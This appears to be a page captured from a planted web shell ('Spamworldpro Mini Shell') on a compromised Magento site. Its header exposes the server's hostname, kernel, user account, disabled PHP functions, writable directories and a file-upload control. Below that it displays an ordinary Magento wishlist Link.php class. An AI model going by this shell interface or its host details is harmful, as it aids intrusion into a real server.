Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/cartforge.co/app/code/CartForge/CustomerCollection/Block/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/cartforge.co/app/code/CartForge/CustomerCollection/Block/Link.php
<?php

declare(strict_types=1);

/**
 * @author Amasty Team
 * @copyright Copyright (c) Amasty (https://www.amasty.com)
 * @package Multiple Wishlist for Magento 2
 */

namespace CartForge\CustomerCollection\Block;

use Amasty\MWishlist\Model\ConfigProvider;
use Amasty\MWishlist\ViewModel\PostHelper;
use Magento\Framework\Phrase;
use Magento\Framework\View\Element\Template\Context;
use Magento\Wishlist\Block\Link as NativeLink;
use Magento\Wishlist\Helper\Data as WishlistHelper;

class Link extends NativeLink
{
    /**
     * @var string
     */
    protected $_template = 'Amasty_MWishlist::link.phtml';

    /**
     * @var ConfigProvider
     */
    private $configProvider;

    public function __construct(
        ConfigProvider $configProvider,
        Context $context,
        WishlistHelper $wishlistHelper,
        array $data = []
    ) {
        parent::__construct($context, $wishlistHelper, $data);
        $this->configProvider = $configProvider;
    }

    /**
     * @return Phrase
     */
    public function getLabel()
    {
        $result = null;

        if ($this->configProvider->isEnabled()) {
            $result = __('My Collections');
        } else {
            $result = parent::getLabel();
        }

        return $result;
    }

    /**
     * @return string
     */
    public function getHref()
    {
        return $this->getUrl(PostHelper::LIST_WISHLIST_ROUTE);
    }
}

Spamworldpro Mini